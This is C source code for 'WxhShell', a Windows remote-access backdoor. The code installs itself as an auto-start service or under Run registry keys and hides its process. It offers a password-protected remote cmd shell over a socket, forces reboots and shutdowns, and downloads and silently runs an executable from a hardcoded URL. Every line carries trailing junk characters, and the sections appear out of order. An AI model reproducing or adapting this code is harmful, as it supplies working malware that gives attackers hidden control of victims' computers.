  case 'd': { oY%NDTVN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jo ]8?U(^  
    if(Boot(SHUTDOWN)) _q\w9gN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 78+PG(Q_M  
    else { Q[F$6m%o  
    closesocket(wsh); zw X 1&rN  
    ExitThread(0); w0t||qj^>"  
    } 2}R)0][W  
    break; ?Da!QH >,]  
    } 8BJ&"y8H  
  // 获取shell 3m`y?Dd  
  case 's': { [^-DFq5@  
    CmdShell(wsh);  t"'aQr  
    closesocket(wsh); Y_&)>;  
    ExitThread(0); G&*2h2,]  
    break; )![? JXf  
  } ('p~h-9Vi  
  // 退出 ,NaNih1  
  case 'x': {  bR5+({yH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D7x"P-ie  
    CloseIt(wsh); HTCn=MZm ?  
    break; RV:%^=V-  
    } ]^^mJt.Iv  
  // 离开 >H?{=H+/#  
  case 'q': { rOy-6og  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O%kX=6  
    closesocket(wsh); Xn3Ph!\Z5e  
    WSACleanup(); gg%OOvaj5  
    exit(1); O}#h^AU-BS  
    break; ] Vbv64M3  
        } Dos`lh  
  } F\;G'dm  
  } HI30-$9  
Nu'T0LPNq(  
  // 提示信息 t1YVE%`w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); paW7.~3 R  
} It@.U|  
  } (-(sBQa+  
3Ga! )  
  return; q>*+.~  
} w+~s}ta2^  
Ytnk^/Z1L  
// shell模块句柄 I vQ]-A}N  
int CmdShell(SOCKET sock) auTApYS53  
{ X)|b_3Z  
STARTUPINFO si; +mN]VO*y  
ZeroMemory(&si,sizeof(si)); =q( ;g]e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tQ:)j^\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'lym^^MjL+  
PROCESS_INFORMATION ProcessInfo; vo[Zuv?<h  
char cmdline[]="cmd"; IgOo2N"^l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4cni_m]  
  return 0; (JHL0Z/  
} A-&C.g  
Nj_h+=UE!  
// 自身启动模式 fKMbOqU_  
int StartFromService(void) uf (`I  
{ @""aNKA^r>  
typedef struct S3u>a\  
{ g jJ?*N[  
  DWORD ExitStatus; !52]'yub  
  DWORD PebBaseAddress; 8=H!&+aGh  
  DWORD AffinityMask; Yqy7__vm  
  DWORD BasePriority; Tt.wY=,K  
  ULONG UniqueProcessId; %B$~yx3#  
  ULONG InheritedFromUniqueProcessId; 1;R1Fj&  
}   PROCESS_BASIC_INFORMATION;  pojQ/  
CfA^Xp@vc  
PROCNTQSIP NtQueryInformationProcess; gf^"s fNk  
MMglo3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^9 gFW $]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NuKktQd  
V^WR(Q}  
  HANDLE             hProcess; "k(Ee  
  PROCESS_BASIC_INFORMATION pbi; xioL6^(Qk,  
UUGwXq96i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ({g7{tUy^H  
  if(NULL == hInst ) return 0; L\--h`~YU  
sG`:mc~0   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  &y/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <taN3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s_A<bW566F  
y-qbK0=X4  
  if (!NtQueryInformationProcess) return 0; 7KOM,FWKe  
s)ymm7?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3>Ts7 wM  
  if(!hProcess) return 0; fJ_d ,4  
TQyi -Dc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A` x_M!m  
(a0q*iC%  
  CloseHandle(hProcess); u6{= Z:  
c=iv\hn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =l?F_  
if(hProcess==NULL) return 0; i#o:V/Z .  
?z>7&  
HMODULE hMod; u-g2*(ZT  
char procName[255]; / E~)xgPM<  
unsigned long cbNeeded; <<}t&qE%2%  
T2-n;8t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bM[!E8dF  
9Ml^\|  
  CloseHandle(hProcess); SXfuPM  
#flOaRl.  
if(strstr(procName,"services")) return 1; // 以服务启动 RN(>37B3_  
5}d"nx  
  return 0; // 注册表启动 i`-,=RJ  
} Uf#.b2]  
S&]AIG)  
// 主模块 {kGcZf3h  
int StartWxhshell(LPSTR lpCmdLine) (\^| @  
{ 3T)GUzt`  
  SOCKET wsl; T=6fZ;7  
BOOL val=TRUE; >*#clf;@p  
  int port=0; HAa2q=  
  struct sockaddr_in door; R%)ZhG*  
~Pq(Ta  
  if(wscfg.ws_autoins) Install(); 6(1xU\x  
Jj=0{(X  
port=atoi(lpCmdLine); r[>4b}4s  
2$8#ePyq*  
if(port<=0) port=wscfg.ws_port; >iefEv\  
NHKIZx8sR  
  WSADATA data; ?M'_L']N[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N\ nr  
6")co9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F0,-7<G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |BrD:+  
  door.sin_family = AF_INET; {=]1]IWt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S}zh0`+d'Z  
  door.sin_port = htons(port); tEEeek(!  
@@$%+XNY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z Z1s}TG  
closesocket(wsl); nNe`?TS?f  
return 1; rG7S^,5o  
} 4 qdLH^dX  
pyPS5vWG  
  if(listen(wsl,2) == INVALID_SOCKET) { GtZkzVqLd  
closesocket(wsl); rN3i5.*/t  
return 1; e jY|o Bj  
} slSQ\;CDA  
  Wxhshell(wsl); [5&zyIi  
  WSACleanup(); { bjK(|  
=\v./Q-  
return 0; #@h3#IC  
3wRk -sl  
} -!]Ie4"  
JDO5eEwj  
// 以NT服务方式启动 F^iv1b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fneg[K  
{ )IIQ{SwQq  
DWORD   status = 0; $)OUOv  
  DWORD   specificError = 0xfffffff; z?~W]PWiZ  
oYWcX9R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !X 3/2KRP7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t(SSrM]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t >89( k  
  serviceStatus.dwWin32ExitCode     = 0; ;0}8vs  
  serviceStatus.dwServiceSpecificExitCode = 0; 'TPRGX~&  
  serviceStatus.dwCheckPoint       = 0; -e_+x'uF  
  serviceStatus.dwWaitHint       = 0; R#Z1+&='  
q9n0bw^N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5BKmp-m  
  if (hServiceStatusHandle==0) return; ailje  
0 `X%&  
status = GetLastError(); $q}}w||e~0  
  if (status!=NO_ERROR) ^ K8JE,  
{ Fjc+{;x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !=#230Y  
    serviceStatus.dwCheckPoint       = 0; 5G8`zy  
    serviceStatus.dwWaitHint       = 0; hA`>SkO  
    serviceStatus.dwWin32ExitCode     = status;  U4#[>*  
    serviceStatus.dwServiceSpecificExitCode = specificError; t;+6>sTu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @URLFMFi  
    return; fM]McZ9)D  
  } .rj FhSr$  
NF=FbvNe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ak50]KYo  
  serviceStatus.dwCheckPoint       = 0; _t:cDXj  
  serviceStatus.dwWaitHint       = 0; JH!qGV1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N}\Da: _  
} z;x `dOP  
d"78w-S  
// 处理NT服务事件,比如:启动、停止 %+$P<Rw7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "fLGXbNQ  
{ 6wzF6] @O  
switch(fdwControl) S[UHx}.  
{ yy?|q0  
case SERVICE_CONTROL_STOP: A"Rzn1/  
  serviceStatus.dwWin32ExitCode = 0; c1/G yq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bIizh8d?  
  serviceStatus.dwCheckPoint   = 0; G*BM'^0+  
  serviceStatus.dwWaitHint     = 0; ~nb%w?vv  
  { w;Qo9=-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :^kP?  
  } kETA3(h'  
  return;  Xvs{2  
case SERVICE_CONTROL_PAUSE: ;:*o P(9k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mU_?}}aK,  
  break; k`js~/Xv  
case SERVICE_CONTROL_CONTINUE: `. %;|"xR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U6X~]|o  
  break; >4\V/ I  
case SERVICE_CONTROL_INTERROGATE: ]T^m>v)X  
  break; $E|W|4N  
}; u7j-uVG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QAi(uL5   
} 1:7>Em<s  
O)Nt"k7 b  
// 标准应用程序主函数 _DC/`_'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &X+V}  
{ `P/*x[?  
/BT;Q)( &  
// 获取操作系统版本 V@>?lv(\  
OsIsNt=GetOsVer(); a\}|ikiE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8tA.d.8  
(%#d._j>fZ  
  // 从命令行安装 PR|Trnd&D  
  if(strpbrk(lpCmdLine,"iI")) Install(); )[oU|!@  
8fM}UZI  
  // 下载执行文件 `r*6P^P  
if(wscfg.ws_downexe) { Y1k/ngH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #EHBS~^  
  WinExec(wscfg.ws_filenam,SW_HIDE); qoZ*sV  
} 6j"(/X|Ex5  
+8^9:w0}  
if(!OsIsNt) { [=U7V;5($  
// 如果时win9x,隐藏进程并且设置为注册表启动 20?i4h_  
HideProc(); =_":Z!_  
StartWxhshell(lpCmdLine); Y ga}8DU  
} A^,(Vyd  
else Qmn5umd=?\  
  if(StartFromService()) Z~?:r  
  // 以服务方式启动 c+a f=ac  
  StartServiceCtrlDispatcher(DispatchTable); n[4Nu`E9  
else @O45s\4-*  
  // 普通方式启动 ~Y'e1w$`  
  StartWxhshell(lpCmdLine); ]`. d%Vx  
Z}NAH`V`:+  
return 0; 'R,d?ikY  
} ZC2C`S\xr  
6km u'vw  
fykN\b  
x *qef_Hu  
=========================================== xh-[]Jz(  
H <1?<1^  
raqLXO!j  
3$Is==>7  
I.8|kscM  
0'py7  
" \^#1~Kx  
DGd&x^C  
#include <stdio.h> L//sJe  
#include <string.h> 5ef&Ih.3  
#include <windows.h> k oHY AF  
#include <winsock2.h> @\"*Z&]8z0  
#include <winsvc.h> (|[3/_!;v  
#include <urlmon.h> nZ bg  
h[Iu_#HMa  
#pragma comment (lib, "Ws2_32.lib") 3LXpe8$lJ  
#pragma comment (lib, "urlmon.lib") ~HYP:6f  
rqF PUp  
#define MAX_USER   100 // 最大客户端连接数 \s+MHa&  
#define BUF_SOCK   200 // sock buffer Q5<vK{  
#define KEY_BUFF   255 // 输入 buffer b]JN23IS2  
hf?^#=k^  
#define REBOOT     0   // 重启 ;! 9_5Ar%  
#define SHUTDOWN   1   // 关机 `S~u4+y]  
3P6'*pZ  
#define DEF_PORT   5000 // 监听端口 x.^vWka(  
KbUX(9+B  
#define REG_LEN     16   // 注册表键长度 @wFm])}0  
#define SVC_LEN     80   // NT服务名长度 Cfi2N V  
:jUuw:\  
// 从dll定义API xlwsZm{V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v PGuEfz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =TP>Y"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I !(yU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ; zvnDox  
/y!Vs`PZ!  
// wxhshell配置信息 ,Tz ,)rY  
struct WSCFG { 7S1!|*/ I  
  int ws_port;         // 监听端口 {30<Vc=  
  char ws_passstr[REG_LEN]; // 口令 IWWFl6$-  
  int ws_autoins;       // 安装标记, 1=yes 0=no (mD]}{>  
  char ws_regname[REG_LEN]; // 注册表键名 E1C8yIF  
  char ws_svcname[REG_LEN]; // 服务名 41zeN++  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZbrE m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j |i6/Pk9J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !6%G%ZG@3-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GawO>7w8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c:6w >:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qnS7z%H8  
IY19G U9  
}; Kulg84<AwM  
B.G!7>=  
// default Wxhshell configuration f2u2Ns0Ym  
struct WSCFG wscfg={DEF_PORT, 5&kR1Bp#-  
    "xuhuanlingzhe", # R&[+1=9j  
    1, Yq Fzbm{\  
    "Wxhshell", d5=xOEv; :  
    "Wxhshell", 6wd]X-G++  
            "WxhShell Service", wMUnZHd{|  
    "Wrsky Windows CmdShell Service", C\; 8l}t  
    "Please Input Your Password: ", ^0&] .m  
  1, C49 G&  
  "http://www.wrsky.com/wxhshell.exe", h|H;ZC(B  
  "Wxhshell.exe" GMNb;D(>K  
    }; E\zhxiI  
L[bGO|O  
// 消息定义模块 BJE <~"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bT8UmR98  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =_H39)|T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5QSmim  
char *msg_ws_ext="\n\rExit."; 1P[Lz!C  
char *msg_ws_end="\n\rQuit."; 3a qmK.`H  
char *msg_ws_boot="\n\rReboot..."; &f yFUg  
char *msg_ws_poff="\n\rShutdown..."; LF~#4)B  
char *msg_ws_down="\n\rSave to "; sZH7 EK  
~"mZ0 E  
char *msg_ws_err="\n\rErr!"; II8nz[s  
char *msg_ws_ok="\n\rOK!"; 9y4rw]4zI  
(=/F=,w   
char ExeFile[MAX_PATH]; v wyDY%B"n  
int nUser = 0; :=Q|gRTL*  
HANDLE handles[MAX_USER]; +)@>60y  
int OsIsNt; 9y5 \4&v  
K7.<,E"M.  
SERVICE_STATUS       serviceStatus; 3DHm9n+/:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xAjQW=  
gAj)3T@  
// 函数声明 wuk7mIJ  
int Install(void); q KM]wu0Et  
int Uninstall(void); ?R(3O1,v^  
int DownloadFile(char *sURL, SOCKET wsh); :#/bA&  
int Boot(int flag); vO_quQ[.  
void HideProc(void); c7F&~RLC  
int GetOsVer(void); X w8i l  
int Wxhshell(SOCKET wsl); H5s85"U#  
void TalkWithClient(void *cs); x/7G0K2\}  
int CmdShell(SOCKET sock); 6.|~~/  
int StartFromService(void); LU{Z  
int StartWxhshell(LPSTR lpCmdLine); ]~^/w}(K  
8UIL_nPO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =5ih,>>g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4I-p/&Q  
//Gvk|O1  
// 数据结构和表定义 Oi0;.< kX  
SERVICE_TABLE_ENTRY DispatchTable[] = _@N)]!\MgP  
{ dM UDLr-  
{wscfg.ws_svcname, NTServiceMain}, `X='g96C1  
{NULL, NULL} tD]&et  
}; 32iI :u  
JF*g!sV%  
// 自我安装 >, E$bm2  
int Install(void)  9+QrTO  
{ 5E!m! nBZ  
  char svExeFile[MAX_PATH]; B`scuLl3  
  HKEY key; qN[7zsaj  
  strcpy(svExeFile,ExeFile); N%f!B"NQ  
 nvPE N  
// 如果是win9x系统,修改注册表设为自启动 D-GU"^-9  
if(!OsIsNt) { `#rfp 9w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RfBb{?PP)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |y% ].y)  
  RegCloseKey(key); ~TH5>``;gF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `yAo3A9vk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [M^[61  
  RegCloseKey(key); ;g:bn5G  
  return 0; :BX{ *P  
    } )$B+ 3f  
  } !B lk=L+p  
} o# xg:m_py  
else { = Y-Ne6a  
el?V2v[  
// 如果是NT以上系统,安装为系统服务 R2aK5~   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sx)Il~ x  
if (schSCManager!=0) {z/^X<T  
{ 9.zQ<k2  
  SC_HANDLE schService = CreateService `4H9f&8(  
  ( A_Iu*pz^^  
  schSCManager, 9S%gVNxn  
  wscfg.ws_svcname, Mlw9#H6  
  wscfg.ws_svcdisp, <aaDW  
  SERVICE_ALL_ACCESS, mRH]'d lD7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pPqN[OJ  
  SERVICE_AUTO_START, 0l: pWc  
  SERVICE_ERROR_NORMAL, ph?0I: eU  
  svExeFile, <cv1$ x ~P  
  NULL, 3DAGW"F  
  NULL, 6KCmswvE  
  NULL, `Kw"XGT  
  NULL, 4E-A@FR  
  NULL *ZR@ z80i  
  ); AaYrVf 9!  
  if (schService!=0) `4.sy +2  
  { Ig3(|{R  
  CloseServiceHandle(schService); g]<Z]R`  
  CloseServiceHandle(schSCManager); OgN1{vRFx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L4pjh&+8  
  strcat(svExeFile,wscfg.ws_svcname); =O#AOw`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rz }l<t~H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z 'NbHwW}  
  RegCloseKey(key); 1m`tqlFU9  
  return 0; "QO/Jls  
    } \678Nx  
  } zI&4k..4  
  CloseServiceHandle(schSCManager); SxZ^ "\H  
} y)/$ge _U  
} GoSWH2N  
!)/iRw9re  
return 1; cL)rjty2  
} z3Y)-  
te*Y]-&I|/  
// 自我卸载 Pkx(M E  
int Uninstall(void) vvsNWA  
{ +Bq}>  
  HKEY key; \8*,&ak%  
%wjB)Mae  
if(!OsIsNt) { JNFT6T)T15  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a^XTW7]r  
  RegDeleteValue(key,wscfg.ws_regname); @CaD8%j{  
  RegCloseKey(key); sK 1m9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K"k"ml<4E  
  RegDeleteValue(key,wscfg.ws_regname); ,-7/]h,l  
  RegCloseKey(key); *2Vp4  
  return 0; Wt+y-ES  
  } 9O=05CQ  
} ?St=7a(D  
} f1Yv hvWL  
else { g;-+7ViIr  
D){"fw+b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V"7<[u]K|  
if (schSCManager!=0) [)H,zpl  
{ Y-%l7GErhL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /h7>Z9T  
  if (schService!=0) lpfwlB'~9  
  { b 5F4+  
  if(DeleteService(schService)!=0) { Q+N7:o!;<b  
  CloseServiceHandle(schService); Pu$kj"|q*[  
  CloseServiceHandle(schSCManager); <t[Z9s$n  
  return 0; h{W$ fZc<  
  } r;cI}'  
  CloseServiceHandle(schService); -t%{"y  
  } +Q SxYV  
  CloseServiceHandle(schSCManager); C`NBHRa>  
} _OJ0 < {E  
} %Ye)8+-  
n&0mz1rw  
return 1; l$k]O  
} U^[cYTG  
GhG%>U#&a  
// 从指定url下载文件 MPKpS3VS  
int DownloadFile(char *sURL, SOCKET wsh) Gg=aK~q6  
{ <pTQpU  
  HRESULT hr; =E [4H  
char seps[]= "/"; Tn4W\?R  
char *token; VM-qVd-  
char *file; 6\,DnO   
char myURL[MAX_PATH]; zB#_:(1qK  
char myFILE[MAX_PATH]; lfxuc7Rdla  
aW0u8Dz  
strcpy(myURL,sURL); FF%\g J  
  token=strtok(myURL,seps); 22)0zY%\  
  while(token!=NULL) yxaT7Oqh%  
  { 5nMkd/  
    file=token; hH <6E  
  token=strtok(NULL,seps); +"k.E x0:  
  } M|/oFV  
bK ?1MiXb  
GetCurrentDirectory(MAX_PATH,myFILE); u:_sTfKm&  
strcat(myFILE, "\\"); Q^$ghZ6V  
strcat(myFILE, file); E|HSwTHe  
  send(wsh,myFILE,strlen(myFILE),0); ;\<""Yj@l  
send(wsh,"...",3,0); /C*~/}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TA Ftcs:  
  if(hr==S_OK) F;IP3tD  
return 0; J+{Ou rWt  
else kcLj Kp  
return 1; 8h*t55  
C1h#x'k  
} ;$vLq&(}  
|w=Ec#)t4  
// 系统电源模块 {/-y>sm  
int Boot(int flag) Z8&4z.6_  
{ By2s']bw  
  HANDLE hToken; TG1P=g5h  
  TOKEN_PRIVILEGES tkp; K@q&HV"'.  
'#O;mBPNi  
  if(OsIsNt) { fZ[kh{|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n%F-cw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p={Jf}v  
    tkp.PrivilegeCount = 1; 2$M,*Dnr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8QT<M]N%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DeH0k[o  
if(flag==REBOOT) { gXLCRn!iR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v9u<F6  
  return 0; Ffnk1/ Zy  
} G@9u:\[l  
else { doBNghS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  #;`Oj  
  return 0; RoX &+~  
} VKy5=2&  
  } u+m4!`  
  else { _l<mu?"  
if(flag==REBOOT) { ~F;CE"3A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Kv}k*A% S  
  return 0; lK*jhW?3:  
} kQLT$8io  
else { IhE9snJ[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mwIk^Sz]@  
  return 0; s _~IZ%+<.  
} Tp?-* K  
} \ZMP_UU(  
.$Y? W<  
return 1; OqBC/p B  
} sm   
T^]7R4 Fg  
// win9x进程隐藏模块 C`NmZwL  
void HideProc(void) )7dEi+v52  
{ tw<P)V\h  
y@3Q;~l,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9/@ &*  
  if ( hKernel != NULL ) ]v\^&7pW  
  { hU" F;4p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Iyyo3awc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IE;\7 r+h  
    FreeLibrary(hKernel); Q_]~0PoH  
  }  q>-R3HB  
2 z7}+lH  
return; t`YWwI.  
} E]1##6Ae  
v L}T~_=3  
// 获取操作系统版本 >3PMnI  
int GetOsVer(void) 1k[GuG%/K  
{ % :/_f  
  OSVERSIONINFO winfo; j;\[pg MR/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Uw)=WImz[  
  GetVersionEx(&winfo); b7Oj<! Wo`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _Yq@FOu  
  return 1; ~}Z'0W)Q`z  
  else Vb!O8xV4;+  
  return 0; ZzcPiTSO  
} Svw<XJ   
BpH%STEN  
// 客户端句柄模块 !E0!-UpY  
int Wxhshell(SOCKET wsl) B!;+_%P76  
{ >zngJ$  
  SOCKET wsh; h5GU9M  
  struct sockaddr_in client; wL3,g2-L  
  DWORD myID; z%sy$^v@vD  
1e}8LH7  
  while(nUser<MAX_USER) G1d(,4Xp  
{ ashar&'  
  int nSize=sizeof(client); 7-* =|gl+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); % frfSGf.#  
  if(wsh==INVALID_SOCKET) return 1; u =J&~  
gU;&$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3t" 4TjAy  
if(handles[nUser]==0) S3Y2O x  
  closesocket(wsh); uMmXs% 9T  
else QyGnDomQ  
  nUser++; h|)vv4-d|  
  } =\3Tv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +Qj(B@ i  
)Gk`[*q ;  
  return 0; gl7|H&&xV  
} j0mM>X HB  
{5j66QFoo  
// 关闭 socket Q(Gl{#b  
void CloseIt(SOCKET wsh) u:dx;*  
{ +TJ EG?o  
closesocket(wsh); X+82[Y,mB.  
nUser--; QHlU|dR)Ry  
ExitThread(0); ST dNM\+  
} =,V|OfW  
GJA`l8`SQ  
// 客户端请求句柄 OW@\./nM  
void TalkWithClient(void *cs) IV`%V+ f  
{ 9`B$V##-L  
<AoXEu D  
  SOCKET wsh=(SOCKET)cs; DAO]uh{6  
  char pwd[SVC_LEN]; 'T8W!&$  
  char cmd[KEY_BUFF]; & E}mX]t  
char chr[1]; z=Cr7-  
int i,j; +.yT/y"  
rS8 w\`_  
  while (nUser < MAX_USER) { kg97S  
W!L+(!&H  
if(wscfg.ws_passstr) { quxdG>8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2kh"8oQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  aSutM  
  //ZeroMemory(pwd,KEY_BUFF); 60>.ul2  
      i=0; EcL-V>U# M  
  while(i<SVC_LEN) {  ti@kKz  
}T_Te?<&  
  // 设置超时 {w6/[ -^  
  fd_set FdRead; `Ityi}  
  struct timeval TimeOut; .ic:`1  
  FD_ZERO(&FdRead); ]/X(V|t  
  FD_SET(wsh,&FdRead); p *w$:L  
  TimeOut.tv_sec=8; eD?3"!c!  
  TimeOut.tv_usec=0; j]rz] k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uBrMk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {R6HG{"IS6  
jNDx,7F-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yHo[{,4itA  
  pwd=chr[0]; GEUg]nw  
  if(chr[0]==0xd || chr[0]==0xa) { %/%UX{8R  
  pwd=0; 0E`1HP"b  
  break; 5VW|fI  
  } q8P.,%   
  i++; 7V7zGx+Z7  
    } ?/hZb"6W  
"2ru7Y"  
  // 如果是非法用户,关闭 socket _HOIT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r=.A'"Kf  
} !^c@shLN4  
dEa<g99[?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2BXy<BM @  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~nLN`H d  
bC!`@/  
while(1) { OX]V) QHVZ  
cZ8.TsI~  
  ZeroMemory(cmd,KEY_BUFF); zmuMWT;  
xGk6n4Gg  
      // 自动支持客户端 telnet标准   o +B:#@9?  
  j=0; #]WqM1u  
  while(j<KEY_BUFF) { !A3-0zN!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bPK Ow<  
  cmd[j]=chr[0]; y] oaO+  
  if(chr[0]==0xa || chr[0]==0xd) { Io`P,l:  
  cmd[j]=0; qy1F* kY  
  break; &<TzG B*  
  } O Wp%v_y]  
  j++; B5%n(,Lx  
    } 72uz<i!&$  
{V19Zv"j  
  // 下载文件 DE$q+j0P  
  if(strstr(cmd,"http://")) { Jb_1LZ) ]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C BYX]  
  if(DownloadFile(cmd,wsh)) 9LnN$e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f_^1J  
